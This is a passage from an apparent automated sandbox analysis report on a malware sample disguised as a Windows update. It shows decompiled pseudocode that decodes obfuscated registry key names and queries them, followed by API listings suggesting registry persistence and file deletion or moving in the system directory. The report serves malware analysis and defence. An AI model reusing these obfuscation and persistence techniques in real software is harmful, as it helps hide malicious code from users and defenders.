				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				char _v353;
				char _v354;
				char _v355;
				char _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				char _v361;
				char _v362;
				char _v363;
				char _v364;
				char _v365;
				char _v366;
				char _v367;
				char _v368;
				char _v369;
				char _v370;
				char _v371;
				char _v372;
				char _v374;
				char _v375;
				char _v376;
				char _v377;
				char _v378;
				char _v379;
				char _v380;
				char _v381;
				char _v382;
				char _v383;
				char _v384;
				int _v388;
				int _v392;
				void* _v396;
				intOrPtr _t145;
				int* _t147;
				void* _t153;
				int* _t182;
				void** _t184;

				_t184 =  &_v396;
				_t145 =  *0x4310d8; // 0xa9302559
				_v4 = _t145;
				_v365 = 0x35;
				_v360 = 0x35;
				_v372 = 0x27;
				_v371 = 0xdf;
				_v370 = 0x80;
				_v369 = 0x2a;
				_v368 = 5;
				_v367 = 0xcb;
				_v366 = 0xa3;
				_v364 = 0x92;
				_v363 = 0xe6;
				_v362 = 0x7d;
				_v361 = 0xc7;
				_v359 = 0x64;
				_v358 = 0x14;
				_v357 = 0x23;
				_v356 = 0xd4;
				_v355 = 0x31;
				_v354 = 0xe8;
				_v353 = 0xb3;
				_v352 = 0xad;
				_v351 = 0x5b;
				_v350 = 0x4d;
				_v349 = 0xd2;
				_v348 = 0x8f;
				_v347 = 0x9f;
				_v346 = 0xcf;
				_v345 = 0x4a;
				_v344 = 0x68;
				_v343 = 0x94;
				_v342 = 0x3e;
				_v341 = 0xb5;
				_v340 = 0x2a;
				_v339 = 0x4f;
				_v338 = 0xd4;
				_v337 = 0x2c;
				_v336 = 0x63;
				_v335 = 0xee;
				_v334 = 0xab;
				_v333 = 0x53;
				_v332 = 0x17;
				_v331 = 0x56;
				_v330 = 9;
				_v329 = 0x3b;
				_v328 = 0x30;
				_v327 = 0x2a;
				_v312 = 0x2c;
				_v311 = 0x70;
				_v310 = 0xc6;
				_v309 = 0x2a;
				_v308 = 0x52;
				_v307 = 0x76;
				_v306 = 0xaf;
				_v305 = 0x10;
				_v304 = 0xca;
				_v303 = 0x67;
				_v302 = 0xec;
				_v301 = 0x9c;
				_v300 = 0x3d;
				_v299 = 0xb;
				_v298 = 0x5f;
				_v297 = 0x4c;
				_v296 = 0x92;
				_v295 = 0x43;
				_v294 = 0x74;
				_v293 = 0xa4;
				_v292 = 0xbc;
				_v291 = 0x13;
				_v290 = 0x17;
				_v289 = 0x9d;
				_v288 = 0xe8;
				_v287 = 0xd4;
				_v286 = 0x8d;
				_v285 = 0xf9;
				_v284 = 0xd;
				_v283 = 0xde;
				_v282 = 0x34;
				_v281 = 0xb0;
				_v280 = 0x44;
				_v279 = 0x25;
				_v278 = 0x82;
				_v277 = 0x39;
				_v276 = 0xf;
				_v275 = 0x85;
				_v274 = 0xbe;
				_v273 = 0x1c;
				_v272 = 0x57;
				_v271 = 6;
				_v270 = 0x49;
				_v269 = 0x3a;
				_v268 = 0x3e;
				_v267 = 0xd6;
				_t147 = 0;
				do {
					 *((char*)(_t184 + _t147 + 0x1c)) =  *((intOrPtr*)(_t184 + _t147 + 0x1c)) +  *((intOrPtr*)(_t184 + _t147 + 0x58));
					 *((char*)(_t184 + _t147 + 0x1d)) =  *((intOrPtr*)(_t184 + _t147 + 0x1d)) +  *((intOrPtr*)(_t184 + _t147 + 0x59));
					_t147 = _t147 + 2;
				} while (_t147 < 0x2e);
				if(RegOpenKeyExA(0x80000002,  &_v372, 0, 0xf003f,  &_v396) != 0) {
					return E00424873(0, _v4);
				} else {
					_v374 = 0xc4;
					_v314 = 0xc4;
					_v392 = 0x104;
					_v384 = 0xf2;
					_v383 = 0x65;
					_v382 = 0xa8;
					_v381 = 0x30;
					_v380 = 8;
					_v379 = 0x60;
					_v378 = 0x79;
					_v377 = 0x34;
					_v376 = 0xec;
					_v375 = 0xd4;
					_v324 = 0xa1;
					_v323 = 0x15;
					_v322 = 0xd1;
					_v321 = 0x63;
					_v320 = 0x7f;
					_v319 = 5;
					_v318 = 0x1c;
					_v317 = 0x44;
					_v316 = 0x89;
					_v315 = 0xa6;
					_t153 = 0;
					do {
						 *(_t184 + _t153 + 0x10) =  *(_t184 + _t153 + 0x10) ^  *(_t184 + _t153 + 0x4c);
						_t153 = _t153 + 1;
					} while (_t153 < 0xb);
					_t182 = 0;
					if(RegQueryValueExA(_v396,  &_v384, 0,  &_v388,  &_v264,  &_v392) == 0) {
						_t182 = 1;
					}
					RegCloseKey(_v396);
					return E00424873(_t182, _v4);
				}
			}

0x00412c90
0x00412c96
0x00412c9d
0x00412ca9
0x00412cad
0x00412cb5
0x00412cba
0x00412cbf
0x00412cc4
0x00412cc8
0x00412ccd
0x00412cd2
0x00412cd7
0x00412cdc
0x00412ce1
0x00412ce6
0x00412ceb
0x00412cf0
0x00412cf5
0x00412cfa
0x00412cfe
0x00412d03
0x00412d08
0x00412d0d
0x00412d12
0x00412d17
0x00412d1c
0x00412d21
0x00412d26
0x00412d2b
0x00412d30
0x00412d35
0x00412d3a
0x00412d3f
0x00412d44
0x00412d49
0x00412d4d
0x00412d52
0x00412d56
0x00412d5a
0x00412d5f
0x00412d64
0x00412d69
0x00412d6e
0x00412d72
0x00412d77
0x00412d7c
0x00412d81
0x00412d86
0x00412d8a
0x00412d8e
0x00412d93
0x00412d98
0x00412d9c
0x00412da1
0x00412da6
0x00412dab
0x00412db0
0x00412db5
0x00412dba
0x00412dbf
0x00412dc4
0x00412dc9
0x00412dce
0x00412dd3
0x00412dd8
0x00412ddd
0x00412de2
0x00412de7
0x00412dec
0x00412df1
0x00412df6
0x00412dfa
0x00412dff
0x00412e04
0x00412e08
0x00412e0d
0x00412e12
0x00412e17
0x00412e1c
0x00412e21
0x00412e26
0x00412e2b
0x00412e30
0x00412e35
0x00412e3a
0x00412e3f
0x00412e44
0x00412e49
0x00412e4e
0x00412e56
0x00412e5e
0x00412e66
0x00412e6e
0x00412e76
0x00412e7e
0x00412e80
0x00412e8e
0x00412e98
0x00412e9c
0x00412e9f
0x00412ec2
0x00412fba
0x00412ec8
0x00412eca
0x00412ece
0x00412ed2
0x00412eda
0x00412edf
0x00412ee4
0x00412ee9
0x00412eee
0x00412ef3
0x00412ef8
0x00412efd
0x00412f02
0x00412f07
0x00412f0b
0x00412f10
0x00412f15
0x00412f1a
0x00412f1f
0x00412f24
0x00412f29
0x00412f2e
0x00412f33
0x00412f38
0x00412f3d
0x00412f40
0x00412f4a
0x00412f4e
0x00412f4f
0x00412f6b
0x00412f7c
0x00412f7e
0x00412f7e
0x00412f88
0x00412fa4
0x00412fa4

APIs

RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F,00000001), ref: 00412EBA
RegQueryValueExA.ADVAPI32(000000F2,00000092,00000000,000000EC,?,?,00000000), ref: 00412F74
RegCloseKey.ADVAPI32(00000104), ref: 00412F88

Strings

4, xrefs: 00412E1C
c, xrefs: 00412D5A
=, xrefs: 00412DC4
', xrefs: 00412CB5
D, xrefs: 00412F2E
9, xrefs: 00412E35
[, xrefs: 00412D12
J, xrefs: 00412D30
4, xrefs: 00412EFD
d, xrefs: 00412CEB
v, xrefs: 00412DA1
L, xrefs: 00412DD3
V, xrefs: 00412D72
;, xrefs: 00412D7C
W, xrefs: 00412E4E
I, xrefs: 00412E5E
_, xrefs: 00412DCE
C, xrefs: 00412DDD
M, xrefs: 00412D17
%, xrefs: 00412E2B
e, xrefs: 00412EDF
c, xrefs: 00412F1A
1, xrefs: 00412CFE
R, xrefs: 00412D9C
S, xrefs: 00412D69
>, xrefs: 00412E6E
:, xrefs: 00412E66
t, xrefs: 00412DE2
`, xrefs: 00412EF3
}, xrefs: 00412CE1
0, xrefs: 00412D81
>, xrefs: 00412D3F
#, xrefs: 00412CF5
p, xrefs: 00412D8E
D, xrefs: 00412E26
g, xrefs: 00412DB5
O, xrefs: 00412D4D
h, xrefs: 00412D35
0, xrefs: 00412EE9
y, xrefs: 00412EF8

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: #$%$'$0$0$1$4$4$9$:$;$=$>$>$C$D$D$I$J$L$M$O$R$S$V$W$[$_$`$c$c$d$e$g$h$p$t$v$y$}
API String ID: 3677997916-3213928184
Opcode ID: 805f5db3b6766ee56b7c3c7fc3f70b7fb85de0509d2b3a5550262d5443ef15e8
Instruction ID: 3f64c0876ea013b4995e57e445dd95fb29515ce67b52a393eb856a41c12e0995
Opcode Fuzzy Hash: 805f5db3b6766ee56b7c3c7fc3f70b7fb85de0509d2b3a5550262d5443ef15e8
Instruction Fuzzy Hash: 80A1B32110D7C199D322C67C984874FFFD51BA7228F584A9DF1E44B3E3C2AA8649C76B

Uniqueness

Uniqueness Score: -1.00%

Function 00412FC0, Relevance: 66.7, APIs: 6, Strings: 32, Instructions: 167registrystringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004131E0
lstrcatA.KERNEL32(?,0042E3FC), ref: 004131F0
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F), ref: 0041320B
lstrlenA.KERNEL32(?), ref: 00413237
RegSetValueExA.ADVAPI32(?,8s2?,00000000,00000001,?,00000000), ref: 00413250
RegCloseKey.ADVAPI32(?,?,8s2?,00000000,00000001,?,00000000), ref: 0041325A

Strings

@, xrefs: 00413071
~, xrefs: 004130ED
v, xrefs: 0041322E
0, xrefs: 004130B7
`, xrefs: 004130F2
o, xrefs: 00413113
t, xrefs: 0041321A
k, xrefs: 00413144
s, xrefs: 0041321F
\, xrefs: 00413026
7, xrefs: 0041313F
e, xrefs: 00413224
], xrefs: 00413175
8s2?, xrefs: 0041324A, 0041324E
2, xrefs: 00413035
r, xrefs: 00413229
?, xrefs: 0041313A
P, xrefs: 0041306C
?, xrefs: 00413030
s, xrefs: 0041303A
X, xrefs: 004130E8
B, xrefs: 004130FC
^, xrefs: 0041308F
#, xrefs: 00413067
3, xrefs: 00413094
;, xrefs: 00413170
d, xrefs: 004130F7
G, xrefs: 00413135
_, xrefs: 00413188
P, xrefs: 00413192
S, xrefs: 00413197
,, xrefs: 0041309E

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CloseFileModuleNameOpenValuelstrcatlstrlen
String ID: #$,$0$2$3$7$8s2?$;$?$?$@$B$G$P$P$S$X$\$]$^$_$`$d$e$k$o$r$s$s$t$v$~
API String ID: 2804959344-2516123405
Opcode ID: 5fb862093511ecca7038c8434d92067763cea830cdae3e94af674eb022a143b1
Instruction ID: 3ee603018d8f15d3993d5d5bb64ccc4771c2b301eb19da9cd57cd54bae0688a3
Opcode Fuzzy Hash: 5fb862093511ecca7038c8434d92067763cea830cdae3e94af674eb022a143b1
Instruction Fuzzy Hash: 2091B62100D7C299D322D77C584864FFFE15BA7228F485A9DF1E45B3E3C2A98249C767

Uniqueness

Uniqueness Score: -1.00%

Function 00422EF0, Relevance: 63.2, APIs: 7, Strings: 29, Instructions: 226fileCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32 ref: 00423155
DeleteFileA.KERNEL32(?), ref: 0042319C
MoveFileExA.KERNEL32 ref: 004231B1
DeleteFileA.KERNEL32(?), ref: 004231E9
MoveFileExA.KERNEL32 ref: 004231F7
DeleteFileA.KERNEL32(?), ref: 0042322F
MoveFileExA.KERNEL32 ref: 0042323D

Strings

N, xrefs: 004230C4
), xrefs: 00422F44
P, xrefs: 00422F35
", xrefs: 004230E7
), xrefs: 00422FF8
S, xrefs: 00422FF3
P, xrefs: 00422FE9
A, xrefs: 0042301A
T, xrefs: 00422FC5
N, xrefs: 00423007
), xrefs: 004230B5
;, xrefs: 00423063
h, xrefs: 00423024
", xrefs: 00423029
N, xrefs: 00422F53
S, xrefs: 00422F3F
D, xrefs: 004230D8
%s\%s, xrefs: 0042317A, 004231CD, 00423213
E, xrefs: 00422F58
S, xrefs: 004230B0
T, xrefs: 00422F11
*, xrefs: 00423113
E, xrefs: 004230C9
;, xrefs: 0042311D
`, xrefs: 004230E2
T, xrefs: 0042308A
, xrefs: 00423118
P, xrefs: 004230A6
E, xrefs: 0042300C

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: File$DeleteMove$DirectorySystem
String ID: $"$"$%s\%s$)$)$)$*$;$;$A$D$E$E$E$N$N$N$P$P$P$S$S$S$T$T$T$`$h
API String ID: 84336133-1389313269
Opcode ID: b14c0ae8dd574057b783fe73dec11bd29fa77d45c1026e4e750054b185980695
Instruction ID: 6d08323a6e56f1df77390437f2eab8c0537e31e2364f4842ab75f608d072a465
Opcode Fuzzy Hash: b14c0ae8dd574057b783fe73dec11bd29fa77d45c1026e4e750054b185980695
Instruction Fuzzy Hash: 44B1E96110C7C199D322DA7D9848B8FFFD51BE7218F480E9DB1E45B2D2C2A9824DC7A7

Uniqueness

Uniqueness Score: -1.00%

Function 0040C3C0, Relevance: 60.3, APIs: 2, Strings: 38, Instructions: 293stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,74786980), ref: 0040C634

Strings

u, xrefs: 0040C4E4
=, xrefs: 0040C697
$, xrefs: 0040C7FC
D, xrefs: 0040C75A
d, xrefs: 0040C4C8
z, xrefs: 0040C815
}, xrefs: 0040C6DA
g, xrefs: 0040C7AD
a, xrefs: 0040C515
c, xrefs: 0040C7B2
:, xrefs: 0040C6F2
O, xrefs: 0040C69C
p, xrefs: 0040C6CA
;, xrefs: 0040C74A
(, xrefs: 0040C71A
+, xrefs: 0040C7BC
`, xrefs: 0040C506
I, xrefs: 0040C595
@, xrefs: 0040C6E2
), xrefs: 0040C453
g, xrefs: 0040C4AB
', xrefs: 0040C403
., xrefs: 0040C7ED
x, xrefs: 0040C58B
&, xrefs: 0040C799
, xrefs: 0040C81F
O, xrefs: 0040C417
O, xrefs: 0040C72A
a, xrefs: 0040C6BB
~, xrefs: 0040C824
q, xrefs: 0040C78F
`, xrefs: 0040C7F7
F, xrefs: 0040C7CB
n, xrefs: 0040C4CD
[, xrefs: 0040C59A
A, xrefs: 0040C471
\, xrefs: 0040C7E3
k, xrefs: 0040C572

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: lstrlen
String ID: $$$&$'$($)$+$.$:$;$=$@$A$D$F$I$O$O$O$[$\$`$`$a$a$c$d$g$g$k$n$p$q$u$x$z$}$~
API String ID: 1659193697-1776773038
Opcode ID: 2631a85855c076cd5aacd475e32cb0067b642e929b393d4f98d7008e1ed6a5c1
Instruction ID: a6680903d8d87bbf61f69c5cc6f64f2f96010d0bd9b0eb87acbe41b91fb4e4d2
Opcode Fuzzy Hash: 2631a85855c076cd5aacd475e32cb0067b642e929b393d4f98d7008e1ed6a5c1
Instruction Fuzzy Hash: 53F1C31100C7C2C9D322D63D588878FFFD11BA7228F585B9DF1E89A2E3C6A5810AC767

Uniqueness

Uniqueness Score: -1.00%

Function 00421EC0, Relevance: 58.0, APIs: 4, Strings: 29, Instructions: 298COMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32 ref: 00422115

Strings

N, xrefs: 00421F23
), xrefs: 00421F14
`, xrefs: 004220B2
E, xrefs: 00422099
h, xrefs: 00421FF4
P, xrefs: 00421FB9
S, xrefs: 00421FC3
N, xrefs: 00422094
A, xrefs: 00421FEA
), xrefs: 00421FC8
E, xrefs: 00421FDC
T, xrefs: 00421EE1
, xrefs: 004220E8
fwe, xrefs: 004222C5
), xrefs: 00422085
D, xrefs: 004220A8
", xrefs: 00421FF9
N, xrefs: 00421FD7
P, xrefs: 00421F05
;, xrefs: 004220ED
S, xrefs: 00422080
P, xrefs: 00422076
T, xrefs: 00421F95
T, xrefs: 0042205A
E, xrefs: 00421F28
", xrefs: 004220B7
*, xrefs: 004220E3
S, xrefs: 00421F0F
;, xrefs: 00422033

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: DirectorySystem
String ID: $"$"$)$)$)$*$;$;$A$D$E$E$E$N$N$N$P$P$P$S$S$S$T$T$T$`$fwe$h
API String ID: 2188284642-27414503
Opcode ID: dcee0e740fe624b1217ea88155760fb8fe99a8999ef861ec3cef7feef8dc3231
Instruction ID: 3c27c6c0b435376128c9c62176485abffcf5cee6cb450e7dbb9848ef72dacce5
Opcode Fuzzy Hash: dcee0e740fe624b1217ea88155760fb8fe99a8999ef861ec3cef7feef8dc3231
Instruction Fuzzy Hash: 75D13A2110C7C28AD322CA3C585879BFFD11BE6318F480B9DE5E45B2D2C7A9864DC7A7

Uniqueness

Uniqueness Score: -1.00%

Function 00412620, Relevance: 54.5, APIs: 15, Strings: 16, Instructions: 215memoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,00000000,?,0000007B), ref: 00412643
GetTempFileNameA.KERNEL32(?,0042E292,00000000,?,?,0000007B), ref: 00412660

Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C1DA
Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C1E8
Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C1F6
Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C204

GetProcessHeap.KERNEL32(00000000,00000000,?,0000007B), ref: 00412681
HeapAlloc.KERNEL32(00000000,?,0000007B), ref: 00412684
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000,?,0000007B), ref: 004126C6
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,0000007B), ref: 004126D8
CloseHandle.KERNEL32(00000000,?,0000007B), ref: 004126E5
GetProcessHeap.KERNEL32(00000000,00000000,?,0000007B), ref: 004126EA
HeapFree.KERNEL32(00000000,?,0000007B), ref: 004126ED
ExpandEnvironmentStringsA.KERNEL32(0000004F,?,00000208), ref: 00412920

Strings

A, xrefs: 004127A6
_, xrefs: 004127BE
N, xrefs: 0041288B
), xrefs: 0041277F
4, xrefs: 0041272B
x, xrefs: 0041280D
W, xrefs: 00412825
<, xrefs: 0041284C
K, xrefs: 004127C6
D, xrefs: 0041297A
I, xrefs: 00412835
\, xrefs: 004127ED
O, xrefs: 00412744
j, xrefs: 00412873
', xrefs: 00412730
7, xrefs: 0041287B

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CountHeapTick$File$Process$AllocCloseCreateCurrentDirectoryEnvironmentExpandFreeHandleNameStringsTempWrite
String ID: '$)$4$7$<$A$D$I$K$N$O$W$\$_$j$x
API String ID: 1204127460-4239860483
Opcode ID: e9142f7ef01560981e5ace9b92d93c22cb7fba4bdb225b2538245e4787c0e303
Instruction ID: fc50ba5ee65d84b0438dc11ee2d5e43eb154a7910d067eaa4cf43abc5e739b9a
Opcode Fuzzy Hash: e9142f7ef01560981e5ace9b92d93c22cb7fba4bdb225b2538245e4787c0e303
Instruction Fuzzy Hash: 03A15E2110C7C19ED33197399889BDBBFD45FA7214F184AADE2E8872D3C6B5440ACB67

Uniqueness

Uniqueness Score: -1.00%

Function 004158B0, Relevance: 52.6, APIs: 3, Strings: 27, Instructions: 141registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,000F003F), ref: 00415A87
RegQueryValueExA.ADVAPI32(?,0042E292,00000000,00000000,?,00000013), ref: 00415AB1
RegCloseKey.ADVAPI32(?,?,0042E292,00000000,00000000,?,00000013), ref: 00415ABE

Strings

K, xrefs: 00415A0D
l, xrefs: 00415A53
C, xrefs: 0041590E
s, xrefs: 00415A2B
, xrefs: 00415931
p, xrefs: 00415958
i, xrefs: 004159B5
n, xrefs: 00415962
N, xrefs: 00415953
., xrefs: 00415984
1, xrefs: 00415A26
h, xrefs: 004159FE
u, xrefs: 004158E6
T, xrefs: 004159AB
T, xrefs: 004158FF
g, xrefs: 004158F5
,, xrefs: 004159DC
5, xrefs: 00415A5D
), xrefs: 00415936
r, xrefs: 00415A12
z, xrefs: 004159E1
?, xrefs: 00415927
A, xrefs: 004158E1
v, xrefs: 00415A1C
@, xrefs: 00415A6C
d, xrefs: 00415976
w, xrefs: 00415A03

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: $)$,$.$1$5$?$@$A$C$K$N$T$T$d$g$h$i$l$n$p$r$s$u$v$w$z
API String ID: 3677997916-1350007012
Opcode ID: fdaef75e701aef0404f417bb4a93cf4983beae994bab8cf610ec57c9fe9431a7
Instruction ID: bf718c844d1271869f6f5a4619d4bc1fbd5c2e1576c271db0d89f6da38526253
Opcode Fuzzy Hash: fdaef75e701aef0404f417bb4a93cf4983beae994bab8cf610ec57c9fe9431a7
Instruction Fuzzy Hash: 0871B72050C7C1DDD322C67C984874FBFD11BA7328F484B8DF1E45A2E6D2AA8649C76B

Uniqueness

Uniqueness Score: -1.00%

Function 004123A0, Relevance: 43.7, APIs: 29, Instructions: 227memoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004123BE

Part of subcall function 0041DF40: CreateFileA.KERNEL32(00000000,00000001,00000001,00000000,00000003,00000000,00000000,747DF560,00000001,00000000,004123D8,?,?,?), ref: 0041DF78
Part of subcall function 0041DF40: GetFileSize.KERNEL32(00000000,00000000), ref: 0041DF88
Part of subcall function 0041DF40: CloseHandle.KERNEL32(00000000), ref: 0041DF95

GetProcessHeap.KERNEL32(00000000,?), ref: 004123EE
HeapFree.KERNEL32(00000000), ref: 004123F5
GetProcessHeap.KERNEL32(00000000,?,00000000,00000000), ref: 00412439
HeapAlloc.KERNEL32(00000000), ref: 0041243C
GetProcessHeap.KERNEL32(00000000,?,747DF560,00000001), ref: 0041247E
HeapFree.KERNEL32(00000000), ref: 00412487
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004124AC
HeapAlloc.KERNEL32(00000000), ref: 004124AF
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004124C4
HeapFree.KERNEL32(00000000), ref: 004124C7
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004124FD
HeapFree.KERNEL32(00000000), ref: 00412500
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041250E
HeapFree.KERNEL32(00000000), ref: 00412511

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Heap$Process$Free$File$Alloc$CloseCreateHandleModuleNameSize
String ID:
API String ID: 1079676353-0
Opcode ID: 4e0c200c8c15de1c34501c1501da476887ff163203a424eaa44262bbe6b8bc17
Instruction ID: 17315ba9b804ea5b43f0dc8ea45a8c146efaa34e73fe8ad2d9cbea40495e9014
Opcode Fuzzy Hash: 4e0c200c8c15de1c34501c1501da476887ff163203a424eaa44262bbe6b8bc17
Instruction Fuzzy Hash: 6561A5B57043446BE724EBB5EC56FFB739CEB88714F40082AF549C3291DA79EC108666

Uniqueness

Uniqueness Score: -1.00%

Function 0041C0F0, Relevance: 35.3, APIs: 3, Strings: 17, Instructions: 251sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,?,?,?,?,?,?,00001388), ref: 0041C2CB
WaitForSingleObject.KERNEL32(?,00002710,?,?,?,?,?,?,?,?,?,00001388), ref: 0041C2E9

Strings

z, xrefs: 0041C166
Y, xrefs: 0041C13E
:, xrefs: 0041C139
{, xrefs: 0041C134
:, xrefs: 0041C242
., xrefs: 0041C1AB
M, xrefs: 0041C1A6
d, xrefs: 0041C25F
0, xrefs: 0041C170
U, xrefs: 0041C1E1
4, xrefs: 0041C157
2, xrefs: 0041C193
I, xrefs: 0041C25A
V, xrefs: 0041C1B5
C, xrefs: 0041C1C4
l, xrefs: 0041C1DC
', xrefs: 0041C152

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: ObjectSingleSleepWait
String ID: '$.$0$2$4$:$:$C$I$M$U$V$Y$d$l$z${
API String ID: 309074506-2986699499
Opcode ID: eb96c70319cd0b3451e5825f8352d491de8bb6029cd1e33e93e4916a575053ba
Instruction ID: fcf21cc62856f80bb5c310aab61f0a24f3f1c6b30d2e4690c96e373a58e0fda4
Opcode Fuzzy Hash: eb96c70319cd0b3451e5825f8352d491de8bb6029cd1e33e93e4916a575053ba
